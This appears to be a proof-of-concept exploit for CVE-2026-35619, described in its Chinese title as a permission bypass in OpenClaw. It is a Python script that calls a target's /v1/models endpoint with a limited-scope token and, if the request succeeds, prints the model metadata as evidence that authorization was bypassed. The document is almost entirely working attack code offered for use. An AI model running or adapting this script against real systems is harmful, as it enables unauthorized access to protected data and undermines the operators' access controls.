CVE-2026-35619 OpenClaw权限绕过漏洞

import requests def exploit_openclaw(target_url, token): """ PoC for CVE-2026-35619 Bypass authorization check to enumerate models. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # The vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/v1/models" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Success! Authorization bypassed.") print("[+] Model Metadata:") print(response.text) else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target and a token with only 'operator.approvals' scope target = "http://localhost:8080" poc_token = "poc_token_with_limited_scope" exploit_openclaw(target, poc_token)